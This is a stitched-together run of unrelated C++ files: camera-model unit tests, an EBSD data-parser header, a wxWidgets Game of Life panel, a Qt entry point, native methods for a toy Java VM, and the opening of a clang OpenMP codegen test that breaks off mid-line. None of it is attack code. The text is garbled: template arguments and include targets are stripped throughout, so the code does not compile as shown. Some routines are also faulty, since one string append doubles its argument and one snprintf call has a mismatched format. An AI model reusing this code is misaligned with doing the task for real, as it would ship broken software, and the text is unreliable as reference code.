&cam_, std::placeholders::_1), hom_position); EXPECT_TRUE(EIGEN_MATRIX_NEAR(H, H_numerical, 1e-6)); } void testAll() { { SCOPED_TRACE("Projection"); testProjection(); } { SCOPED_TRACE("ProjectionSingle"); testProjectionSingle(); } { SCOPED_TRACE("HomogeneousProjection"); testHomogeneousProjection(); } { SCOPED_TRACE("Jacobian"); testJacobian(); } { SCOPED_TRACE("HomogeneousJacobian"); testHomogeneousJacobian(); } } private: const Camera& cam_; size_t sample_size_; std::string test_name_; }; } // namespace ze TEST(CameraImplTests, testPinhole) { using namespace ze; PinholeCamera cam = createPinholeCamera(752, 480, 310, 320, 376.0, 240.0); CameraTestHarness test(cam, 300, "Pinhole"); test.testAll(); CameraBenchmark benchmark(cam, 300, "Pinhole"); benchmark.benchmarkAll(); } TEST(CameraImplTests, testFov) { using namespace ze; FovCamera cam = createFovCamera(752, 480, 310, 320, 376.0, 240.0, 0.947367); CameraTestHarness test(cam, 300, "Fov"); test.testAll(); CameraBenchmark benchmark(cam, 300, "Fov"); benchmark.benchmarkAll(); } TEST(CameraImplTests, testRadTan) { using namespace ze; RadTanCamera cam = createRadTanCamera(752, 480, 310, 320, 376.0, 240.0, -0.2834, 0.0739, 0.00019, 1.76e-05); CameraTestHarness test(cam, 300, "RadTan"); test.testAll(); CameraBenchmark benchmark(cam, 300, "RadTan"); benchmark.benchmarkAll(); } TEST(CameraImplTests, testEquidistant) { using namespace ze; EquidistantCamera cam = createEquidistantCamera(752, 480, 310, 320, 376.0, 240.0, -0.00279, 0.02414, -0.04304, 0.03118); CameraTestHarness test(cam, 300, "Equidistant"); test.testAll(); CameraBenchmark benchmark(cam, 300, "Equidistant"); benchmark.benchmarkAll(); } TEST(CameraImplTests, testYamlParsingPinhole) { std::string data_dir = ze::getTestDataDir("camera_models"); std::string yaml_file = data_dir + "/camera_pinhole_nodistortion.yaml"; ASSERT_TRUE(ze::fileExists(yaml_file)); ze::Camera::Ptr cam = ze::cameraFromYaml(yaml_file); EXPECT_FLOATTYPE_EQ(cam->projectionParameters()(0), 320.0); EXPECT_FLOATTYPE_EQ(cam->projectionParameters()(1), 310.0); EXPECT_FLOATTYPE_EQ(cam->projectionParameters()(2), 376.5); EXPECT_FLOATTYPE_EQ(cam->projectionParameters()(3), 240.5); } TEST(CameraImplTests, testYamlParsingFoV) { std::string data_dir = ze::getTestDataDir("camera_models"); std::string yaml_file = data_dir + "/camera_pinhole_fov.yaml"; ze::Camera::Ptr cam = ze::cameraFromYaml(yaml_file); EXPECT_FLOATTYPE_EQ(cam->projectionParameters()(0), 320.0); EXPECT_FLOATTYPE_EQ(cam->distortionParameters()(0), 0.940454); } TEST(CameraImplTests, testYamlParsingRadTan) { std::string data_dir = ze::getTestDataDir("camera_models"); std::string yaml_file = data_dir + "/camera_pinhole_radtan.yaml"; ze::Camera::Ptr cam = ze::cameraFromYaml(yaml_file); EXPECT_FLOATTYPE_EQ(cam->projectionParameters()(0), 320.0); EXPECT_FLOATTYPE_EQ(cam->distortionParameters()(0), -0.28340811217029355); } TEST(CameraImplTests, testYamlParsingEquidistant) { std::string data_dir = ze::getTestDataDir("camera_models"); std::string yaml_file = data_dir + "/camera_pinhole_equidistant.yaml"; ze::Camera::Ptr cam = ze::cameraFromYaml(yaml_file); EXPECT_FLOATTYPE_EQ(cam->projectionParameters()(0), 320.0); EXPECT_FLOATTYPE_EQ(cam->distortionParameters()(0), -0.0027973061697674074); } ZE_UNITTEST_ENTRYPOINT /* ============================================================================ * Copyright (c) 2009-2016 BlueQuartz Software, LLC * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * * Neither the name of BlueQuartz Software, the US Air Force, nor the names of its * contributors may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * The code contained herein was partially funded by the followig contracts: * United States Air Force Prime Contract FA8650-07-D-5800 * United States Air Force Prime Contract FA8650-10-D-5210 * United States Prime Contract Navy N00173-07-C-2068 * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ #pragma once #include #include "EbsdLib/Core/EbsdSetGetMacros.h" class DataParser { public: using Self = DataParser; using Pointer = std::shared_ptr; using ConstPointer = std::shared_ptr; using WeakPointer = std::weak_ptr; using ConstWeakPointer = std::weak_ptr; static Pointer NullPointer() { return Pointer(static_cast(nullptr)); } /** * @brief Returns the name of the class for AbstractMessage */ const QString getNameOfClass() const { return QString("DataParser"); } /** * @brief Returns the name of the class for AbstractMessage */ static QString ClassName() { return QString("DataParser"); } /** * @brief IsA * @return */ virtual int32_t IsA() const { return 0; } virtual ~DataParser() = default; virtual bool allocateArray(size_t numberOfElements) { (void)(numberOfElements); return false; } virtual void* getVoidPointer() { return nullptr; } virtual void setVoidPointer(void* p) { } EBSD_INSTANCE_PROPERTY(bool, ManageMemory) EBSD_INSTANCE_PROPERTY(size_t, Size) EBSD_INSTANCE_STRING_PROPERTY(ColumnName) EBSD_INSTANCE_PROPERTY(int, ColumnIndex) virtual void parse(const QByteArray& token, size_t index) { } protected: DataParser() : m_ManageMemory(false) , m_Size(0) , m_ColumnName("") , m_ColumnIndex(0) { } public: DataParser(const DataParser&) = delete; // Copy Constructor Not Implemented DataParser(DataParser&&) = delete; // Move Constructor Not Implemented DataParser& operator=(const DataParser&) = delete; // Copy Assignment Not Implemented DataParser& operator=(DataParser&&) = delete; // Move Assignment Not Implemented }; // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- class Int32Parser : public DataParser { public: using Self = Int32Parser; using Pointer = std::shared_ptr; using ConstPointer = std::shared_ptr; using WeakPointer = std::weak_ptr; using ConstWeakPointer = std::weak_ptr; static Pointer NullPointer() { return Pointer(static_cast(nullptr)); } /** * @brief Returns the name of the class for AbstractMessage */ const QString getNameOfClass() const { return QString("Int32Parser"); } /** * @brief Returns the name of the class for AbstractMessage */ static QString ClassName() { return QString("Int32Parser"); } int32_t IsA() const override { return 1; } static Pointer New(int32_t* ptr, size_t size, const QString& name, int index) { Pointer sharedPtr(new Int32Parser(ptr, size, name, index)); return sharedPtr; } ~Int32Parser() override { if(m_Ptr != nullptr && getManageMemory()) { #if defined(EBSD_USE_SSE) && defined(__SSE2__) _mm_free(m_Ptr); #else free(m_Ptr); #endif m_Ptr = nullptr; } } void setPtr(int32_t* value) { this->m_Ptr = value; } int32_t* getPtr() { return m_Ptr; } bool allocateArray(size_t numberOfElements) override { #if defined(EBSD_USE_SSE) && defined(__SSE2__) m_Ptr = static_cast(_mm_malloc(numberOfElements * sizeof(T), 16)); #else m_Ptr = static_cast(malloc(sizeof(int32_t) * numberOfElements)); #endif return (m_Ptr != nullptr); } void* getVoidPointer() override { return reinterpret_cast(m_Ptr); } void setVoidPointer(void* p) override { m_Ptr = reinterpret_cast(p); } int32_t* getPointer(size_t offset) { return m_Ptr + offset; } void parse(const QByteArray& token, size_t index) override { Q_ASSERT(index < getSize()); bool ok = false; m_Ptr[index] = token.toInt(&ok, 10); } protected: Int32Parser(int32_t* ptr, size_t size, const QString& name, int index) : m_Ptr(ptr) { setManageMemory(true); setSize(size); setColumnName(name); setColumnIndex(index); } private: int32_t* m_Ptr; public: Int32Parser(const Int32Parser&) = delete; // Copy Constructor Not Implemented Int32Parser(Int32Parser&&) = delete; // Move Constructor Not Implemented Int32Parser& operator=(const Int32Parser&) = delete; // Copy Assignment Not Implemented Int32Parser& operator=(Int32Parser&&) = delete; // Move Assignment Not Implemented }; // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- class FloatParser : public DataParser { public: using Self = FloatParser; using Pointer = std::shared_ptr; using ConstPointer = std::shared_ptr; using WeakPointer = std::weak_ptr; using ConstWeakPointer = std::weak_ptr; static Pointer NullPointer() { return Pointer(static_cast(nullptr)); } /** * @brief Returns the name of the class for AbstractMessage */ const QString getNameOfClass() const { return QString("FloatParser"); } /** * @brief Returns the name of the class for AbstractMessage */ static QString ClassName() { return QString("FloatParser"); } int32_t IsA() const override { return 2; } static Pointer New(float* ptr, size_t size, const QString& name, int index) { Pointer sharedPtr(new FloatParser(ptr, size, name, index)); return sharedPtr; } ~FloatParser() override { if(m_Ptr != nullptr && getManageMemory()) { #if defined(EBSD_USE_SSE) && defined(__SSE2__) _mm_free(m_Ptr); #else free(m_Ptr); #endif m_Ptr = nullptr; } } void setPtr(float* value) { this->m_Ptr = value; } float* getPtr() { return m_Ptr; } bool allocateArray(size_t numberOfElements) override { #if defined(EBSD_USE_SSE) && defined(__SSE2__) m_Ptr = static_cast(_mm_malloc(numberOfElements * sizeof(T), 16)); #else m_Ptr = static_cast(malloc(sizeof(float) * numberOfElements)); #endif return (m_Ptr != nullptr); } void* getVoidPointer() override { return reinterpret_cast(m_Ptr); } void setVoidPointer(void* p) override { m_Ptr = reinterpret_cast(p); } float* getPointer(size_t offset) { return m_Ptr + offset; } void parse(const QByteArray& token, size_t index) override { bool ok = false; m_Ptr[index] = token.toFloat(&ok); } protected: FloatParser(float* ptr, size_t size, const QString& name, int index) : m_Ptr(ptr) { setManageMemory(true); setSize(size); setColumnName(name); setColumnIndex(index); } private: float* m_Ptr; public: FloatParser(const FloatParser&) = delete; // Copy Constructor Not Implemented FloatParser(FloatParser&&) = delete; // Move Constructor Not Implemented FloatParser& operator=(const FloatParser&) = delete; // Copy Assignment Not Implemented FloatParser& operator=(FloatParser&&) = delete; // Move Assignment Not Implemented }; #include #include #include "GamePanel.hh" #include "MainFrame.hh" /** * Game canvas for drawing grid and hadling user clicks. * Grid controls are sent to Grid object. */ GamePanel::GamePanel(wxPanel *parent, int id): wxPanel(parent, id, wxDefaultPosition), grid_(30) { // Timer which runs cells to next state in intervals timer_ = new wxTimer(this, 1); Connect(wxEVT_PAINT, wxPaintEventHandler(GamePanel::onPaint)); Connect(wxEVT_SIZE, wxSizeEventHandler(GamePanel::onSize)); Connect(wxEVT_LEFT_DOWN, wxMouseEventHandler(GamePanel::onMouseClick)); Connect(wxEVT_TIMER, wxCommandEventHandler(GamePanel::onTimer)); } void GamePanel::setSize(int size) { grid_ = Grid(size); resetGame(); } void GamePanel::toggleRun() { if (timer_->IsRunning()) { timer_->Stop(); } else { timer_->Start(100); } } void GamePanel::randomGrid() { if (timer_->IsRunning()) { timer_->Stop(); } grid_.randomize(); Refresh(); } void GamePanel::resetGame() { if (timer_->IsRunning()) { timer_->Stop(); } grid_.fillWithZeroes(); Refresh(); } void GamePanel::runStep() { grid_.evolve(); Refresh(); } void GamePanel::onTimer(wxCommandEvent& event) { runStep(); } void GamePanel::onMouseClick(wxMouseEvent& event) { wxPoint p = event.GetPosition(); int width = GetSize().x; int height = GetSize().y; int cellSizeX = width / grid_.sizeX(); int cellSizeY = height / grid_.sizeY(); int offsetX = (width % grid_.sizeX()) / 2; int offsetY = (height % grid_.sizeY()) / 2; int i = (p.x - offsetX) / cellSizeX; int j = (p.y - offsetY) / cellSizeY; grid_.toggleCell(i, j); Refresh(); } /** * Draws rectangles for each cell in grid. * NOTE: wxWidgets coordinates are ints and it lefts some empty space * when dividing canvas into multiple cells on certain sizes. * TODO: find a proper way to draw scalable grid. */ void GamePanel::onPaint(wxPaintEvent& event) { wxPaintDC dc(this); int width = GetSize().x; int height = GetSize().y; int cellSizeX = width / grid_.sizeX(); int cellSizeY = height / grid_.sizeY(); // offset to center grid on canvas, so it doesnt look that ugly int offsetX = (width % grid_.sizeX()) / 2; int offsetY = (height % grid_.sizeY()) / 2; for (int i = 0; i < grid_.sizeX(); i++) { for (int j = 0; j < grid_.sizeY(); j++) { int x = i * cellSizeX + offsetX; int y = j * cellSizeY + offsetY; if (grid_.isAlive(i, j)) { dc.SetPen(wxPen(wxColour(0, 0, 0), 0, wxPENSTYLE_TRANSPARENT)); dc.SetBrush(wxBrush(wxColour(130, 200, 130))); } else { dc.SetPen(wxPen(wxColour(230, 230, 230), 0)); dc.SetBrush(wxBrush(wxColour(255, 255, 255))); } dc.DrawRectangle(x, y, cellSizeX, cellSizeY); } } } void GamePanel::onSize(wxSizeEvent& event) { Refresh(); }#include #include "simwindow.h" int main(int argc, char **argv) { QGuiApplication app(argc, argv); SimWindow window; QObject::connect(&app,SIGNAL(aboutToQuit()),&window,SLOT(onClose())); window.resize(800, 600); window.show(); return app.exec(); } src/NativeMethods.cpp #include "NativeMethods.h" #include "ObjectHeap.h" #include "ClassHeap.h" Variable Add(RuntimeEnvironment* pRuntimeEnvironment) { Frame* pFrameStack=pRuntimeEnvironment->pFrameStack; Variable returnVal; Frame *pFrame=&pFrameStack[0]; returnVal.intValue= pFrame->pOpStack[pFrame->sp].intValue + pFrame->pOpStack[pFrame->sp-1].intValue; return returnVal; } Variable Print_N(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame* pFrame = &pRuntimeEnvironment->pFrameStack[0]; int val = pFrame->stack[pFrame->sp].intValue; printf("%i", val); returnVal.intValue = 0; return returnVal; } Variable Print(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; Object object=pFrame->stack[pFrame->sp].object; Variable *pVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(object); if(pVar) { std::string* pString = ((std::string*)pVar[1].ptrValue); if(pString) printf("%s",pString->c_str()); } returnVal.intValue=0; return returnVal; } Variable String_valueOf_F(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; //static method f4 floatVal=pFrame->stack[0].floatValue; std::string str = std::to_string(floatVal); returnVal.object=pRuntimeEnvironment->pObjectHeap->CreateStringObject(str, pRuntimeEnvironment->pClassHeap); return returnVal; } Variable String_valueOf_J(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; ////static method f4 floatVal=pFrame->stack[0].floatValue; std::string str = std::to_string(floatVal); returnVal.object=pRuntimeEnvironment->pObjectHeap->CreateStringObject(str, pRuntimeEnvironment->pClassHeap); return returnVal; } //Method java/lang/StringBuilder.append(Ljava/lang/String;)Ljava/lang/StringBuilder; Variable StringBuilder_append_String(RuntimeEnvironment* pRuntimeEnvironment) { // we put a CString object as the first field in StringBuilder object Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; Object object=pFrame->stack[pFrame->sp].object; Variable *pVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(object); Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pVar && pThisVar) { std::string *pString = (std::string *)pVar[1].ptrValue; std::string* pThisString = (std::string*)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString= new std::string()); } if(pThisString && pString) { //We now use... //pThisString->Append(pString->GetBuffer()); *pString += *pString; } } returnVal.object=thisObject; return returnVal; } Variable StringBuilder_append_I(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; i4 intVal=pFrame->stack[pFrame->sp].intValue; Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pThisVar) { std::string *pThisString = (std::string*)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString=new std::string()); } if(pThisString) { //We now use... std::string str = std::to_string(intVal); *pThisString += str; } } returnVal.object=thisObject; return returnVal; } Variable StringBuilder_append_C(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; u2 charValue = pFrame->stack[pFrame->sp].shortValue; Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pThisVar) { std::string *pThisString = (std::string*)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString=new std::string()); } if(pThisString) { //We now use... std::string str = std::to_string(charValue); *pThisString += str; } } returnVal.object=thisObject; return returnVal; } Variable StringBuilder_append_Z(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; u4 boolValue = pFrame->stack[pFrame->sp].intValue; Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pThisVar) { std::string *pThisString = (std::string*)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString=new std::string()); } if(pThisString) { //We now use... std::string str = std::string(boolValue? "true" : "false"); *pThisString += str; } } returnVal.object=thisObject; return returnVal; } Variable StringBuilder_append_F(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; f4 floatValue = pFrame->stack[pFrame->sp].floatValue; Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pThisVar) { std::string *pThisString = (std::string*)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString=new std::string()); } if(pThisString) { //We now use... std::string str = std::to_string(floatValue); //str.Format(_T("%f"), floatValue); *pThisString += str;// Append(str.GetBuffer()); } } returnVal.object=thisObject; return returnVal; } //LONG Variable StringBuilder_append_J(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; i4 i4High = pFrame->stack[pFrame->sp-1].intValue; i4 i4Low = pFrame->stack[pFrame->sp].intValue; i8 longValue= MAKEI8(i4High, i4Low); Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pThisVar) { std::string *pThisString = (std::string*)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString=new std::string()); } if(pThisString) { //We now use... std::string str = std::to_string(longValue); //str.Format(_T("%I64d"), longValue); *pThisString += str; } } returnVal.object=thisObject; return returnVal; } //DOUBLE Variable StringBuilder_append_D(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; /* Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; f4 floatValue1 = pFrame->stack[pFrame->sp-1].floatValue; f4 floatValue2 = pFrame->stack[pFrame->sp].floatValue; f8 floatValue=0.0 Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pThisVar) { CString *pThisString = (CString *)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString=new CString()); } if(pThisString) { //We now use... CString str; str.Format(_T("%f"), floatValue); pThisString->Append(str.GetBuffer()); } } returnVal.object=thisObject; */ returnVal.floatValue=0; return returnVal; } Variable StringBuilder_append_Object(RuntimeEnvironment* pRuntimeEnvironment) { Variable returnVal; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; Object object=pFrame->stack[pFrame->sp].object; Variable *pVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(object); Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); // TODO: call objects toString and append if(pThisVar) { std::string *pThisString = (std::string*)pThisVar[1].ptrValue; std::string str; if(pVar) { JavaClass *pClass = (JavaClass *)pVar[0].ptrValue; //str.Format(_T("Object [%X] of Class %ws"),object.heapPtr, pClass->GetName()); char buff[255]; snprintf(buff, sizeof(buff), "Object [%X] of Class %ws", pClass->GetName()); str = std::string(buff); } else str= "null"; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue = (LONG_PTR)(pThisString=new std::string()); } if(pThisString) { *pThisString += str; } } returnVal.object=thisObject; return returnVal; } Variable StringBuilder_toString_String(RuntimeEnvironment* pRuntimeEnvironment) { // we put a CString object as the first field in StringBuilder object Variable returnVal; returnVal.object.heapPtr=NULL; Frame *pFrame=&pRuntimeEnvironment->pFrameStack[0]; ObjectHeap *pObjectHeap = pRuntimeEnvironment->pObjectHeap; ClassHeap *pClassHeap = pRuntimeEnvironment->pClassHeap; Object thisObject=pFrame->stack[0].object; Variable *pThisVar=pRuntimeEnvironment->pObjectHeap->GetObjectPointer(thisObject); if(pThisVar) { std::string *pThisString = (std::string*)pThisVar[1].ptrValue; if(pThisVar[1].ptrValue==NULL) { pThisVar[1].ptrValue=(LONG_PTR) (pThisString=new std::string()); } if(pThisString) { returnVal.object=pRuntimeEnvironment->pObjectHeap->CreateStringObject(*pThisString, pRuntimeEnvironment->pClassHeap); } } return returnVal; }// NOTE: Assertions have been autogenerated by utils/update_cc_test_checks.py UTC_ARGS: --function-signature --include-generated-funcs --replace-value-regex "__omp_offloading_[0-9a-z]+_[0-9a-z]+" "reduction_size[.].+[.]" "pl_cond[.].+[.|,]" --prefix-filecheck-ir-name _ // Test target codegen - host bc file has to be created first. // RUN: %clang_cc1 -verify -fopenmp -x c++ -triple powerpc64le-unknown-unknown -fopenmp-targets=nvptx64-nvidia-cuda -emit-llvm-bc %s -o %t-ppc-host.bc // RUN: %clang_cc1 -verify -fopenmp -x c++ -triple nvptx64-unknown-unknown -fopenmp-targets=nvptx64-nvidia-cuda -emit-llvm %s -fopenmp-is-device -fopenmp-host-ir-file-path %t-ppc-host.bc -o - | FileCheck %s --check-prefix=CHECK1 // RUN: %clang_cc1 -verify -fopenmp -x c++ -triple i386-unknown-unknown -fopenmp-targets=nvptx-nvidia-cuda -emit-llvm-bc %s -o %t-x86-host.bc // RUN: %clang_cc1 -verify -fopenmp -x c++ -triple nvptx-unknown-unknown -fopenmp-targets=nvptx-nvidia-cuda -emit-llvm %s -fopenmp-is-device -fopenmp-host-ir-file-path %t-x86-host.bc -o - | FileCheck %s --check-prefix=CHECK2 // RUN: %clang_cc1 -verify -fopenmp -fexceptions -fcxx-exceptions -x c++ -triple nvptx-unknown-unknown -fopenmp-targets=nvptx-nvidia-cuda -fopenmp-cuda-teams-reduction-recs-num=2048 -emit-llvm %s -fopenmp-is-device -fopenmp-host-ir-file-path %t-x86-host.bc -o - | FileCheck %s --check-prefix=CHECK3 // expected-no-diagnostics #ifndef HEADER #define HEADER template tx ftemplate(int n) { int a; short b; tx c; float d; double e; #pragma omp target #pragma omp teams reduction(+: e) { e += 5; } #pragma omp target #pragma omp teams reduction(^: c) reduction(*: d) { c ^= 2; d *= 33; } #pragma omp target #pragma omp teams reduction(|: a) reduction(max: b) #pragma omp parallel reduction(|: a) reduction(max: b) { a |= 1; b = 99 > b ? 99 : b; } return a+b+c+d+e; } int bar(int n){ int a = 0; a += ftemplate(n); return a; } #endif // CHECK4-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23_worker // CHECK4-SAME: () #[[ATTR0:[0-9]+]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[WORK_FN:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[EXEC_STATUS:%.*]] = alloca i8, align 1 // CHECK4-NEXT: store i8* null, i8** [[WORK_FN]], align 4 // CHECK4-NEXT: store i8 0, i8* [[EXEC_STATUS]], align 1 // CHECK4-NEXT: br label [[DOTAWAIT_WORK:%.*]] // CHECK4: .await.work: // CHECK4-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK4-NEXT: [[TMP0:%.*]] = call i1 @__kmpc_kernel_parallel(i8** [[WORK_FN]]) // CHECK4-NEXT: [[TMP1:%.*]] = zext i1 [[TMP0]] to i8 // CHECK4-NEXT: store i8 [[TMP1]], i8* [[EXEC_STATUS]], align 1 // CHECK4-NEXT: [[TMP2:%.*]] = load i8*, i8** [[WORK_FN]], align 4 // CHECK4-NEXT: [[SHOULD_TERMINATE:%.*]] = icmp eq i8* [[TMP2]], null // CHECK4-NEXT: br i1 [[SHOULD_TERMINATE]], label [[DOTEXIT:%.*]], label [[DOTSELECT_WORKERS:%.*]] // CHECK4: .select.workers: // CHECK4-NEXT: [[TMP3:%.*]] = load i8, i8* [[EXEC_STATUS]], align 1 // CHECK4-NEXT: [[IS_ACTIVE:%.*]] = icmp ne i8 [[TMP3]], 0 // CHECK4-NEXT: br i1 [[IS_ACTIVE]], label [[DOTEXECUTE_PARALLEL:%.*]], label [[DOTBARRIER_PARALLEL:%.*]] // CHECK4: .execute.parallel: // CHECK4-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1:[0-9]+]]) // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP2]] to void (i16, i32)* // CHECK4-NEXT: call void [[TMP5]](i16 0, i32 [[TMP4]]) // CHECK4-NEXT: br label [[DOTTERMINATE_PARALLEL:%.*]] // CHECK4: .terminate.parallel: // CHECK4-NEXT: call void @__kmpc_kernel_end_parallel() // CHECK4-NEXT: br label [[DOTBARRIER_PARALLEL]] // CHECK4: .barrier.parallel: // CHECK4-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK4-NEXT: br label [[DOTAWAIT_WORK]] // CHECK4: .exit: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23 // CHECK4-SAME: (double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR1:[0-9]+]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK4-NEXT: [[E7:%.*]] = alloca double, align 8 // CHECK4-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK4-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK4-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK4-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK4-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK4-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[THREAD_LIMIT:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS]], [[NVPTX_WARP_SIZE]] // CHECK4-NEXT: [[TMP1:%.*]] = icmp ult i32 [[NVPTX_TID]], [[THREAD_LIMIT]] // CHECK4-NEXT: br i1 [[TMP1]], label [[DOTWORKER:%.*]], label 